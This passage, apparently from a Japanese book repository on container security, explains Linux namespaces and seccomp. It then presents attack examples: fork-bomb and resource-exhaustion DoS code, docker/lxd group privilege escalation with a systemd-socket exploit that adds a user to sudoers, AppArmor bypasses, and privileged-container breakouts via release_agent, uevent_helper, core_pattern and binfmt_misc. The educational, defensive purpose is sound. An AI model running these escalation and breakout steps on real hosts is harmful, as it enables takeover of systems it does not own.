    "content": "# Mount Namespace\n\nMount Namespace はマウントポイントを分離することができます。PID namespace では `procfs` を unshare のプロセスにだけ見えるようにマウントしました。  \nこのように、プロセスごとに独自のマウントポイントを持つことができます。これを利用することで、例えばプロセスごとに異なる `tmpfs` をマウントすることで、他のプロセスから一切その内容を閲覧できないようにすることができます。  \n\n`unshare(1)` では `--mount` フラグを用いることで Mount Namespace を作成できます。\n\n```sh\nubuntu@docker:~$ sudo unshare --mount bash\nroot@docker:/home/ubuntu# mkdir /mnt/^C\nroot@docker:/home/ubuntu# mount -t tmpfs tmpfs /mnt\nroot@docker:/home/ubuntu# findmnt /mnt\nTARGET SOURCE FSTYPE OPTIONS\n/mnt   tmpfs  tmpfs  rw,relatime\nroot@docker:/home/ubuntu# touch /mnt/test\nroot@docker:/home/ubuntu# ls /mnt\ntest\n\n# ホスト側で実行\nubuntu@docker:~$ findmnt /mnt\nubuntu@docker:~$ ls /mnt/\nubuntu@docker:~$\n```\n\nこのように、名前空間にいるプロセスからしかマウントポイントが確認できなくなっています。  \nこれは Systemd の PrivateTmp でも利用されています。\n"
  },
  {
    "path": "source/namespace/pid.md",
    "content": "# PID Namespace\n\nPID Namespace はプロセスの PID を分離します。コンテナの中で `ps` コマンドを実行すると PID 1 のプロセスが存在していることが確認できます。  \n通常 Linux では重複した PID を持つプロセスを生成することはできませんが、Namespace が異なるため同じ PID を持っているかのように見えるプロセスを作ることができます。  \n\n`unshare(1)` では `--pid` フラグを用いることで PID Namespace を作成できます。  \n\n```sh\n$ sudo unshare --pid --fork bash\nroot@docker:/home/ubuntu# ps aux\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.0  0.2 167632 11704 ?        Ss   12:47   0:02 /sbin/init\nroot           2  0.0  0.0      0     0 ?        S    12:47   0:00 [kthreadd]\nroot           3  0.0  0.0      0     0 ?        I<   12:47   0:00 [rcu_gp]\nroot           4  0.0  0.0      0     0 ?        I<   12:47   0:00 [rcu_par_gp]\n```\n\n`ps` コマンドを実行するとホスト側のプロセスも見えていますが、これは `ps` コマンドが `/proc` を見るからです。  \n例えば `kill` コマンドを送信すると「No such process」というエラーが出るため、PID Namespace の分離自体はできていることが確認できます。\n\n```sh\n# ホスト側で実行\nubuntu@docker:~$ sleep 100\n\n# Namespace 内で実行\nroot@docker:/home/ubuntu# ps aux | grep sleep\nubuntu      1545  0.0  0.0   7228   592 pts/1    S+   13:34   0:00 sleep 100\nroot        1547  0.0  0.0   8160   732 pts/0    S+   13:34   0:00 grep --color=auto sleep\nroot@docker:/home/ubuntu# kill -9 1545\nbash: kill: (1545) - No such process\n```\n\nでは `ps` コマンドでホスト側のプロセスを見えなくするにはどうすればいいでしょうか。  \nPID Namespace で `procfs` を再マウントすればよいのですが、それだとホスト側に影響を与えてしまいます。  \nそこで Mount Namespace も分離することでホスト側に影響を与えずに新しくマウントすることができます。  \n\nMount Namespace については後述するとして、 `unshare(1)` には `--mount-proc` オプションがあるため、これを利用します。  \nこれにより Mount Namespace を使って `procfs` をマウントしてくれます。\n\n```sh\nubuntu@docker:~$ sudo unshare --pid --fork --mount-proc bash\nroot@docker:/home/ubuntu# ps aux\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.0  0.0   8960  3876 pts/0    S    13:42   0:00 bash\nroot           8  0.0  0.0  10608  3256 pts/0    R+   13:42   0:00 ps aux\n```\n\n冒頭で「同じ PID を持っているかのように見える」と書きましたが、これは Namespace 内から見た話であり、ホスト側から見ると規約通り PID は重複していません。  \n\n```sh\nroot@docker:/home/ubuntu# sleep 100 &\n[1] 10\nroot@docker:/home/ubuntu# ps aux\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.0  0.0   8960  3940 pts/0    S    13:42   0:00 bash\nroot          10  0.0  0.0   7228   592 pts/0    S    13:44   0:00 sleep 100\nroot          11  0.0  0.0  10608  3364 pts/0    R+   13:44   0:00 ps aux\n\n# ホスト側で確認\nubuntu@docker:~$ ps aux | grep sleep\nroot        1656  0.0  0.0   7228   592 pts/0    S    13:44   0:00 sleep 100\nubuntu      1659  0.0  0.0   8160   736 pts/1    S+   13:44   0:00 grep --color=auto sleep\n```\n"
  },
  {
    "path": "source/namespace/user.md",
    "content": "# User Namespace\n\nUser Namespace は UID / GID を分離し、 Namespace 内で独立した UID / GID を持てるようになります。  \nまた、Namespace 内の UID / GID がそれぞれホスト側の UID / GID と mapping されるようになります。\n\n例えば Namespace 内では UID 0 (root) であっても、ホスト側から見ると UID 1000 のユーザーであるようにできます。  \nこれにより仮にコンテナからホスト側にエスケープできても、権限は UID 1000 の一般ユーザーであるため、影響を小さくすることができます。\n\n`unshare(1)` では `--user` フラグを用いることで User Namespace を作成できます。  \n\n```sh\nubuntu@docker:~$ unshare --user bash\nnobody@docker:~$ id\nuid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)\nnobody@docker:~$ echo $$\n2275\n```\n\n現在、名前空間内では `nobody` ユーザーになっています。  \n試しにホスト側の UID 1000 のユーザーと Namespace 内の UID 0 (root) のユーザーを紐付けてみます。\n紐付けは対象のプロセスが持つ `uid_map` に値を書き込むことで機能します。\n\n```sh\n# ホスト側で操作\nroot@docker:/home/ubuntu# echo '0 1000 1' > /proc/2275/uid_map\n```\n\n名前空間内で確認すると UID 0 (root) になっていることが確認できます。\n\n```sh\nnobody@docker:~$ id\nuid=0(root) gid=65534(nogroup) groups=65534(nogroup)\n```\n\nファイルを作成すると名前空間内では root 所有に見えますが、実際には UID 1000 である `ubuntu` ユーザーの所有になっていることが確認できます。\n\n```sh\nnobody@docker:~$ touch test.txt\nnobody@docker:~$ ls -al test.txt\n-rw-rw-r-- 1 root nogroup 0 Nov 13 14:10 test.txt\n\n# ホスト側で操作\nubuntu@docker:~$ ls -al test.txt\n-rw-rw-r-- 1 ubuntu ubuntu 0 Nov 13 14:10 test.txt\n```\n"
  },
  {
    "path": "source/namespace/uts.md",
    "content": "# UTS Namespace\n\nUTS Namespace はホスト名の分離に利用されます。  \n`uname(2)` や `gethostname(2)` を使用したときに Namespace 内で設定された値を取得することができます。  \n\n`unshare(1)` の引数に `--uts` フラグを用いることで UTS Namespace を作成できます。  \n`hostname(1)` で別のホスト名に変更してもホスト側には影響がないことが確認できます。\n\n```sh\nubuntu@docker:~$ sudo unshare --uts bash\nroot@docker:/home/ubuntu# hostname test\nroot@docker:/home/ubuntu# hostname\ntest\n\n# ホスト側\nubuntu@docker:~$ hostname\ndocker\n```\n\n"
  },
  {
    "path": "source/seccomp/README.md",
    "content": "# seccomp\n\nseccomp はシステムコールとその引数を制限する仕組みです。  \n例えば Docker では次のような seccomp プロファイルを与えることで `mkdir` を禁止するコンテナを作成できます。\n\n```sh\n$ cat seccomp.json\n{\n  \"defaultAction\": \"SCMP_ACT_ALLOW\",\n  \"syscalls\": [\n    {\n      \"name\": \"mkdir\",\n      \"action\": \"SCMP_ACT_ERRNO\"\n    }\n  ]\n}\n\n$ docker run --rm -it --security-opt seccomp=seccomp.json ubuntu:20.04 bash\nroot@ab9ad7d57f7f:/# mkdir /tmp/test\nmkdir: cannot create directory '/tmp/test': Operation not permitted\n```\n\nCapability と同様に seccomp も Docker にはデフォルトプロファイルが存在します。[^1]  \nCapability と併用することで、もし Capability を破られて特権が必要なシステムコールが呼び出されても seccomp で防ぐことができます。\n\n---\n\n[^1] https://docs.docker.com/engine/security/seccomp/ \"Significant syscalls blocked by the default profile / docker docs\"\n"
  },
  {
    "path": "source/security/DoS.md",
    "content": "# DoS\n\nコンテナはホストとリソースを共有しているため、リソースの制限を適切に施していない場合、ホストに対する DoS となる可能性があります。\n\n## Fork Bomb\n\ncgroup などでプロセス数を制限していない場合、コンテナで大量にプロセスを生成することでシステムをダウンさせることができます。\n\n```sh\n:(){ :|:& };:\n```\n\n## 大量のファイルディスクリプタを生成する\n\n開けるファイルディスクリプタ数には上限があるため、コンテナ内で大量にファイルディスクリプタを開くことでホスト側に影響を与えることができます。\n\n```c\n#include <stdio.h>\n#include<string.h>\n#include<unistd.h>\n#include<sys/types.h>\n#include<sys/stat.h>\n#include<fcntl.h>\n\nint main()\n{\n  char buf[100];\n  for(int i=0; i=400275; i++) {\n    sprintf(buf, \"/tmp/%d\", i);\n    int fd = open(buf, O_CREAT);\n    if ( fd == 1 ) {\n      printf(\"max fd %d\\n\", i);\n      break;\n    }\n    printf(\"open %d\\n\", i);\n  }\n  for(;;);\n}\n```\n\n## ディスク容量の圧迫\n\nコンテナにディスク容量制限がない場合は大きなファイルを作成することで、ホストのディスク容量を圧迫させることができます。\n\n```sh\n$ dd if=/dev/zero of=bigfile bs=20GB count=10\n```\n"
  },
  {
    "path": "source/security/README.md",
    "content": "# コンテナのセキュリティと攻撃例\n\n本章では[コンテナの基礎技術](../container-basics.md)で紹介した各保護レイヤに不備があった場合に生じる脆弱性や Docker のセキュリティについて紹介します。\n\nコンテナへの攻撃経路として「ランタイムの脆弱性を利用するもの」「カーネルの脆弱性を利用するもの」「コンテナの設定不備を利用するもの」などが考えられます。  \nまた、コンテナ自体は開発環境や CI 環境でも利用されるケースが増え、不正な Docker イメージによって、それらの環境が侵害されるケースも考えられます。\n\n![Docker Atatck Vector](./img/docker-attack-vector.png)\n\nコンテナに対して Capability を付与したり、特権(Privileged)コンテナを実行したりした経験がある方もいるかもしれません。そのようなコンテナが侵害された場合、ホスト側にエスケープ(Breakout)できてしまう可能性があります。ここでは、そのようなコンテナに対する攻撃例について取り上げ、セキュアなコンテナ運用のヒントを紹介します。\n"
  },
  {
    "path": "source/security/adding-a-user-to-group.md",
    "content": "# コンテナ実行権限を持つグループへのユーザー追加\n\n`docker` グループや `lxd` グループへのユーザー追加を行うことは、そのユーザーに root 権限を追加することと同義です。  \n例えば docker の場合は次のようにホストのルートディレクトリをマウントすることで、ホスト側で任意の操作を行うことが可能になります。\n\n```sh\nubuntu@sandbox:~$ cat /etc/shadow\ncat: /etc/shadow: Permission denied\nubuntu@sandbox:~$ docker run --rm -it -v /:/hostfs ubuntu:latest bash\nroot@f6a72ca2aaf6:/# cat /hostfs/etc/shadow\nroot:*:18444:0:99999:7:::\n...\n```\n\nただし、rootless docker のようにコンテナを root 以外で動かしている場合は、一般ユーザー権限でコンテナを作成するため、この攻撃を緩和することができます。\n\n```sh\nubuntu@rootless-docker:~$ docker run --rm -it -v /:/hostfs ubuntu:latest bash\nroot@0e55694c273c:/# cat /hostfs/etc/shadow\ncat: /hostfs/etc/shadow: Permission denied\n```\n\n## lxd グループへの追加\n\nLXD の場合、ユーザーを `lxd` グループに追加することでコンテナの操作が可能になりますが、これも docker 同様に root 権限を与えることと同義です。  \n\n### hook を使った権限昇格\n\nLXC には hook 機能があり、これを利用して root として任意のコマンドを実行できます。\n\n```sh\n$ lxc launch images:ubuntu/trusty/amd64 runme -c raw.lxc=\"lxc.hook.pre-start=sh -c 'echo foo >/runme'\"\nCreating runme\nStarting runme\nuser@host:~$ ls -l /runme \n-rw-r--r-- 1 root root 5 May  7 10:29 /runme\n```\n\n### LXD proxy を利用した権限昇格\n\nLXD の proxy 経由で unix socket にアクセスすると、その資格情報は root になってしまいます。  \nこれを利用して systemd の socket に接続して任意の service を操作することができます。\n\n例えば次のような unix socket でやり取りを行うプログラムを起動します。\n\n```sh\n$ cat echo.py\nimport socket\nimport struct\n\ndef main():\n    \"\"\"Echo UNIX peercreds\"\"\"\n    listen_sock = '/tmp/echo.sock'\n    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n    sock.bind(listen_sock)\n    sock.listen()\n\n    while True:\n        print('waiting for a connection')\n        connection = sock.accept()[0]\n        peercred = connection.getsockopt(socket.SOL_SOCKET, socket.SO_PEERCRED,\n                                         struct.calcsize(\"3i\"))\n        pid, uid, gid = struct.unpack(\"3i\", peercred)\n\n        print(\"PID: {}, UID: {}, GID: {}\".format(pid, uid, gid))\n\n        continue\n\nif __name__ == '__main__':\n    main()\n\n$ python3 echo.py\nwaiting for a connection\n# nc -U /tmp/echo.sock でつなぐと、その UID, GID が表示される\nPID: 15373, UID: 1001, GID: 1001\n```\n\nLXD proxy を用意して root で接続されるかを確認します。次のコマンドでコンテナ内の `/tmp/proxy.sock` からホストの `/tmp/echo.sock` に接続できます。\n\n```sh\n$ lxc config device add test proxy_sock proxy connect=unix:/tmp/echo.sock listen=unix:/tmp/proxy.sock bind=container mode=0777\nDevice proxy_sock added to test\n```\n\n同様に接続すると root になっていることがわかります。\n\n```sh\n$ lxc exec test -- sudo --user ubuntu --login\nubuntu@test:~$ nc -U /tmp/proxy.sock\n\n$ python3 test.py\n...\nPID: 14988, UID: 0, GID: 0\n```\n\nこれも lxd が root で動いていることが理由です。\n\n```sh\n$ ps aux | grep 14988\nroot     14988  0.0  0.7 1230076 30576 ?       Ssl  03:54   0:00 /snap/lxd/current/bin/lxd forkproxy -- 14522 -1 unix:/tmp/proxy.sock 13977 -1 unix:/var/lib/snapd/hostfs/tmp/echo.sock /var/snap/lxd/common/lxd/logs/test/proxy.proxy_sock.log /var/snap/lxd/common/lxd/devices/test/proxy.proxy_sock   0777\n```\n\nこれを利用して systemd の socket と通信することで任意コード実行につなげることができます。  \nsystemd が利用する `/run/systemd/private` をコンテナ内の `/tmp/container_sock` に bind し、さらにそれをホスト側に bind することで、コンテナに入らずとも接続できるようにします。\n\n```sh\nlowpriv@vagrant:~$ lxc config device add test container_sock proxy connect=unix:/run/systemd/private listen=unix:/tmp/container_sock bind=container mode=0777\nDevice container_sock added to test\nlowpriv@vagrant:~$ lxc config device add test host_sock proxy connect=unix:/tmp/container_sock listen=unix:/tmp/host_sock bind=host mode=0777\nDevice host_sock added to test\n```\n\n自身を sudoers に追加する systemd unit ファイルを作成し、systemd socket を通して実行することで root に権限昇格することができます。\n\n```sh\n$ cat /tmp/evil.service\n[Unit]\nDescription=evil\n[Service]\nType=oneshot\nExecStart=/bin/sh -c \"echo user ALL=\\(ALL\\) NOPASSWD: ALL >> /etc/sudoers\"\n[Install]\nWantedBy=multi-user.target\n\n$ cat exploit.py\nimport socket\nimport sys\nimport time\n\nAUTH = u'\\0AUTH EXTERNAL 30\\r\\nNEGOTIATE_UNIX_FD\\r\\nBEGIN\\r\\n'\n\nLINK = u'l\\1\\4\\1$\\0\\0\\0\\1\\0\\0\\0\\242\\0\\0\\0\\1\\1o\\0\\31\\0\\0\\0/org/freedesktop/systemd1\\0\\0\\0\\0\\0\\0\\0\\3\\1s\\0\\r\\0\\0\\0LinkUnitFiles\\0\\0\\0\\2\\1s\\0 \\0\\0\\0org.freedesktop.systemd1.Manager\\0\\0\\0\\0\\0\\0\\0\\0\\6\\1s\\0\\30\\0\\0\\0org.freedesktop.systemd1\\0\\0\\0\\0\\0\\0\\0\\0\\10\\1g\\0\\4asbb\\0\\0\\0\\0\\0\\0\\0\\26\\0\\0\\0\\21\\0\\0\\0/tmp/evil.service\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0'\n\nRELOAD = u'l\\1\\4\\1\\0\\0\\0\\0\\2\\0\\0\\0\\211\\0\\0\\0\\1\\1o\\0\\31\\0\\0\\0/org/freedesktop/systemd1\\0\\0\\0\\0\\0\\0\\0\\3\\1s\\0\\6\\0\\0\\0Reload\\0\\0\\2\\1s\\0 \\0\\0\\0org.freedesktop.systemd1.Manager\\0\\0\\0\\0\\0\\0\\0\\0\\6\\1s\\0\\30\\0\\0\\0org.freedesktop.systemd1\\0\\0\\0\\0\\0\\0\\0\\0'\n\nSTART = u'l\\1\\4\\1 \\0\\0\\0\\1\\0\\0\\0\\240\\0\\0\\0\\1\\1o\\0\\31\\0\\0\\0/org/freedesktop/systemd1\\0\\0\\0\\0\\0\\0\\0\\3\\1s\\0\\t\\0\\0\\0StartUnit\\0\\0\\0\\0\\0\\0\\0\\2\\1s\\0 \\0\\0\\0org.freedesktop.systemd1.Manager\\0\\0\\0\\0\\0\\0\\0\\0\\6\\1s\\0\\30\\0\\0\\0org.freedesktop.systemd1\\0\\0\\0\\0\\0\\0\\0\\0\\10\\1g\\0\\2ss\\0\\f\\0\\0\\0evil.service\\0\\0\\0\\0\\7\\0\\0\\0replace\\0'\n\ndef send_msg(sock_name, msg):\n    client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n    client_sock.connect(sock_name)\n\n    try:\n        client_sock.sendall(AUTH.encode('latin-1'))\n        reply = client_sock.recv(8192).decode(\"latin-1\")\n        print(reply)\n\n        client_sock.sendall(msg.encode('latin-1'))\n        reply = client_sock.recv(8192).decode(\"latin-1\")\n\n        print(reply)\n    except:\n        print(\"Connection reset...\")\n\ndef main():\n\n    for msg in [LINK, RELOAD, START]:\n        send_msg(sys.argv[1], msg)\n        time.sleep(1)\n\nif __name__ == '__main__':\n    main()\n\n$ python3 exploit.py\nOK c00157aa91bf4b70a9fcbe8e556ca3c1\nAGREE_UNIX_FD\n\nlo/org/freedesktop/systemd1s org.freedesktop.systemd1.ManagersUnitFilesChangedsorg.freedesktop.systemd1lR<usorg.freedesktop.systemdga(sss)Jsymlink /etc/systemd/system/evil.service/tmp/evil.service\nOK 95eb8e05ae1647c7ba5aae363557ff5d\nAGREE_UNIX_FD\n\nlo/org/freedesktop/systemd1s org.freedesktop.systemd1.Managers  Reloadingsorg.freedesktop.systemdgb\nOK 92f3058be4c74bf5a7f05a16182f393a\nAGREE_UNIX_FD\n\nlY¶o-/org/freedesktop/systemd1/unit/evil_2eservicesorg.freedesktop.DBus.PropertiessPropertiesChangedsorg.freedesktop.systemdsa{sv}as org.freedesktop.systemd1.Service¼MainPIDu\nControlPIDu\nStatusTexts\n           StatusErrnoiResults  exit-codeUIDuÿÿÿÿGIDuÿÿÿÿ       NRestartsuExecMainStartTimestamptØ\n©ExecMainStartTimestampMonotonictÔOÔ\n©ExecMainExitTimestampMonotonictîÔ\n\nExecMainPIDu^?\n              ExecMainCodeiExecMainStatusii\nExecStartPost                              ExecStartPre ExecStart\nExecReloaExecStop\n                 ExecStopPost\n\n$ sudo su\nroot@host:~/# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n"
  },
  {
    "path": "source/security/apparmor-bypass.md",
    "content": "# AppArmor のバイパス方法\n\nAppArmor は記法が複雑であるため、バイパス可能なルールを記述してしまうケースがあります。  \nここでは、いくつかそれらの例を示したいと思います。\n\n## 親ディレクトリを rename する\n\n次のように `mybash` が `.ssh/` 配下のファイルを操作できないようなルールを記述します。\n\n```c\n#include <tunables/global>\n\n/home/ubuntu/mybash {\n  #include <abstractions/base>\n  file,\n\n  deny /home/ubuntu/.ssh/** mrwklx,\n}\n```\n\n一見問題が無いように見えますが、 `.ssh` を rename することでバイパスできます。\n\n```sh\nubuntu@sandbox:~$ cat .ssh/id_rsa\ncat: .ssh/id_rsa: Permission denied\nubuntu@sandbox:~$ mv .ssh .sshx\nubuntu@sandbox:~$ head .sshx/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEApQusoFpwaUZ9k8Y8b521n76ImX85uGTtrnMLTK2XDkp+AEj/\n```\n\n## shebang を使った bypass\n\n次のように mybash で perl の実行を禁止するとします。\n\n```c\n#include <tunables/global>\n\n/home/ubuntu/mybash {\n  #include <abstractions/base>\n  file,\n\n  deny /usr/bin/perl mrwlx,\n}\n```\n\nこの場合 shebang を使うことで perl の実行が可能です。\n\n```sh\nubuntu@sandbox:~$ cat test.pl\n#!/usr/bin/perl\n\nprint(\"hello\\n\")\nubuntu@sandbox:~$ perl ./test.pl\nmybash: /usr/bin/perl: Permission denied\nubuntu@sandbox:~$ ./test.pl\nhello\n```\n"
  },
  {
    "path": "source/security/breakout-to-host.md",
    "content": "# ホストへのエスケープ\n\nコンテナからホスト側にエスケープできることを、コンテナという牢獄から脱出することから「Breakout」「Jailbreak」などと呼ばれることがあります。  \nここではコンテナからホスト側への Breakout の手法について紹介します。\n\n## Privileged Container\n\nPrivileged (特権)コンテナはホスト上の全てのデバイスへのアクセスを許可するだけでなく、AppArmor などの LSM を適用せず、Capability も過剰に与えてしまうため、適切に Isolation されていないホストのプロセスとほぼ同等のプロセスになります。  \nそのため、特権コンテナを侵害された場合はホスト側にエスケープできてしまうので注意が必要です。\n\nLinux の一部機能には任意のプログラムを実行できるヘルパー機能が多数あります。例えば `call_usermodehelper_exec()` のような Linux カーネルからユーザーランドアプリケーションを実行する API などがあります。  \nPrivileged コンテナのように過剰な Capability を与えると、コンテナの中で特定の操作が可能な場合、この機能を利用してホスト側にエスケープすることができます。  \nここでは、そのような機能を利用してコンテナからホストへエスケープする方法をいくつか紹介します。\n\n## cgroup release_agent\n\ncgourp v1 には cgroup で管理されているプロセスが存在しなくなった場合にカーネルに通知を送る機能があり、その際に release_agent プログラムとしてユーザーランドのプログラムを実行することができます。  \nこれを利用して例えばコンテナの中で cgroupfs をマウントすることができる場合、次のようにホスト側にエスケープすることができます。\n\n```sh\n$ docker run --privileged --rm -it ubuntu:latest bash\n\nroot@927bb44baf0d:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x\n\n# release_agent を有効化する\nroot@927bb44baf0d:/# echo 1 > /tmp/cgrp/x/notify_on_release\n\n# ホスト側で実行するプログラムを作成\nroot@927bb44baf0d:/# cat <<EOF > /cmd\n> #!/bin/sh\n> ps aux > /tmp/output\n> EOF\nroot@927bb44baf0d:/# chmod +x /cmd\n\n# ホスト側からみた実行したいプログラムのファイルパスを release_agent プログラムとして登録\nroot@927bb44baf0d:/# mount | grep overlay2\noverlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4HN7CVYLX5VML6M3TK4HLNKHX2:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff,workdir=/var/lib/docker/overlay2/ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/work,xino=off)\nroot@927bb44baf0d:/# echo \"/var/lib/docker/overlay2/ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff/cmd\" > /tmp/cgrp/release_agent\n\nroot@927bb44baf0d:/# sh -c \"echo \\$\\$ > /tmp/cgrp/x/cgroup.procs\"\n\n# ホスト側でコマンドが実行されたことが確認できる\nubuntu@docker:/tmp$ head /tmp/output\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.0  0.3 168656 12660 ?        Ss   Nov02   0:04 /sbin/init\nroot           2  0.0  0.0      0     0 ?        S    Nov02   0:00 [kthreadd]\n```\n\n## uevent_helper\n\nuevent はデバイスが追加 / 削除されたときに送信されるイベントです。その際に、 `/sys/kernel/uevent_helper` に記載されているプログラムを実行します。  \nこれを利用して次のようにホスト側にエスケープできます。\n\n```sh\nubuntu@docker:~$ docker run --privileged --rm -it ubuntu:latest bash\n# ホスト側で実行するプログラムを作成\nroot@76017d104897:/# cat <<EOF > /cmd\n> #!/bin/sh\n> ps aux > /tmp/output\n> EOF\nroot@76017d104897:/# chmod +x /cmd\n\n# ホスト側からみた実行したいプログラムのファイルパスを書き込む\nroot@76017d104897:/# mount | grep overlay2\noverlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/US76JCNP5VCQ2CUZIXYAU2VIQQ:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/bb19048f6e555df3c5387b9a5a14c14fdd592fb97c3bd60ea5925ee75036cecd/diff,workdir=/var/lib/docker/overlay2/bb19048f6e555df3c5387b9a5a14c14fdd592fb97c3bd60ea5925ee75036cecd/work,xino=off)\nroot@76017d104897:/# echo \"/var/lib/docker/overlay2/bb19048f6e555df3c5387b9a5a14c14fdd592fb97c3bd60ea5925ee75036cecd/diff/cmd\" > /sys/kernel/uevent_helper\n\n# uevent を発生させる\nroot@76017d104897:/# echo change > /sys/class/mem/null/uevent\n\n# ホスト側でコマンドが実行されたことが確認できる\nubuntu@docker:/tmp$ head /tmp/output\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.0  0.3 168656 12660 ?        Ss   Nov02   0:04 /sbin/init\nroot           2  0.0  0.0      0     0 ?        S    Nov02   0:00 [kthreadd]\n```\n\n## core_pattern\n\ncoredump を生成する場合に `/proc/sys/kernel/core_pattern` で出力ファイル名を変更することができますが、 `|` (パイプ) が利用できるため、コマンドの実行が可能になります。  \nこれを利用して次のような手順でホスト側にエスケープできます。\n\n```sh\nubuntu@docker:~$ docker run --privileged --rm -it ubuntu:latest bash\n# ホスト側で実行するプログラムを作成\nroot@204c6661f442:/# cat <<EOF > /cmd\n> #!/bin/sh\n> ps aux > /tmp/output\n> EOF\nroot@204c6661f442:/# chmod +x /cmd\n\n# ホスト側からみた実行したいプログラムのファイルパスを書き込む\nroot@204c6661f442:/# mount | grep overlay2\noverlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/UEAKPG6M42F22YWZ3I7HK3LESS:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/6acd5e8aa79a341ec8c970a77d9993617a7414b7c0e86fc719d1d54c718cc3d0/diff,workdir=/var/lib/docker/overlay2/6acd5e8aa79a341ec8c970a77d9993617a7414b7c0e86fc719d1d54c718cc3d0/work,xino=off)\nroot@204c6661f442:/# echo \"|/var/lib/docker/overlay2/6acd5e8aa79a341ec8c970a77d9993617a7414b7c\n0e86fc719d1d54c718cc3d0/diff/cmd\" > /proc/sys/kernel/core_pattern\n\n# プロセスを作り、SEGV させる\nroot@204c6661f442:/# sleep 100 &\n[1] 16\nroot@204c6661f442:/# kill -SEGV 16\nroot@204c6661f442:/#\n[1]+  Segmentation fault      (core dumped) sleep 100\n\n# ホスト側でコマンドが実行されたことが確認できる\nubuntu@docker:/# head /tmp/output\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.0  0.3 168940 13144 ?        Ss   Nov13   0:05 /sbin/init\nroot           2  0.0  0.0      0     0 ?        S    Nov13   0:00 [kthreadd]\n```\n\n## binfmt_misc\n\n`/proc/sys/fs/binfmt_misc` は指定したマジックナンバーや拡張子のファイルを実行する際に、指定のプログラム(インタプリタ)を実行することができます。  \nこれを利用することで次のようにホスト側にエスケープできます。\n\n```sh\nubuntu@docker:~$ docker run --privileged --rm -it ubuntu:latest bash\n# binfmt_misc をマウント\nroot@4af543b9eb3f:/# mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc\n\n# ホスト側で実行するプログラムを作成\nroot@4af543b9eb3f:/# cat <<EOF >/cmd\n> #!/bin/sh\n> ps aux > /tmp/output\n> EOF\nroot@4af543b9eb3f:/# chmod +x /cmd\n\n# .sh という拡張子のプログラムが実行されると cmd が実行するようにする\nroot@4af543b9eb3f:/# mount | grep overlay2\noverlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/MVSWHTODE2R4PLCNOXNJ7MEHNX:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/f5cbdf158d44a4e44969eab02661e22c0886d7695e216b4590115f35d4e7cc3f/diff,workdir=/var/lib/docker/overlay2/f5cbdf158d44a4e44969eab02661e22c0886d7695e216b4590115f35d4e7cc3f/work,xino=off)\nroot@4af543b9eb3f:/# echo ':evil:E::sh::/var/lib/docker/overlay2/f5cbdf158d44a4e44969eab02661e22c0886d7695e216b4590115f35d4e7cc3f/diff/cmd:OC' > /proc/sys/fs/binfmt_misc/register\n\n# ホスト側で .sh 拡張子をもつファイルを実行すると cmd が実行される\nubuntu@docker:~$ /tmp/test.sh\nubunty@docker:~# head /tmp/output\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot           1  0.0  0.3 168940 13144 ?        Ss   Nov13   0:05 /sbin/init\nroot           2  0.0  0.0      0     0 ?        S    Nov13   0:00 [kthreadd]\n...\n```\n\n"
  },
  {
    "path": "source/security/image/README.md",
    "content": ""
  },
  {
    "path": "source/security/image/scanner.md",
